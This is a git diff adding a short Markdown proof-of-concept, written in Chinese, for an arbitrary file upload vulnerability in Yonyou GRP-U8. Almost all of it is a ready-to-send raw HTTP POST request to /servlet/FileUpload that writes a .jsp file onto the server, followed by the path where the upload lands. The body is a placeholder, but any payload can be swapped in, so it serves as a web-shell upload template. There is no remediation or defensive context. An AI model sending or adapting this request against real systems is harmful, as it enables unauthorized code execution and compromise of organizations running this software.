diff --git a/用友GRP-U8-FileUpload任意文件上传.md b/用友GRP-U8-FileUpload任意文件上传.md
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+## 用友GRP-U8-FileUpload任意文件上传
+
+## poc
+```
+POST /servlet/FileUpload?fileName=t.jsp&actionID=update HTTP/1.1
+Host: 
+Content-Length: 187
+Cache-Control: max-age=0
+Origin: null
+DNT: 1
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA8Ee42FOAqdLah9L
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+
+------WebKitFormBoundaryA8Ee42FOAqdLah9L
+Content-Disposition: form-data; name="rfile_name"; filename="2.png"
+Content-Type: image/png
+
+111
+------WebKitFormBoundaryA8Ee42FOAqdLah9L--
+```
+
+上传路径为/R9iPortal/upload/xxxxxx.jsp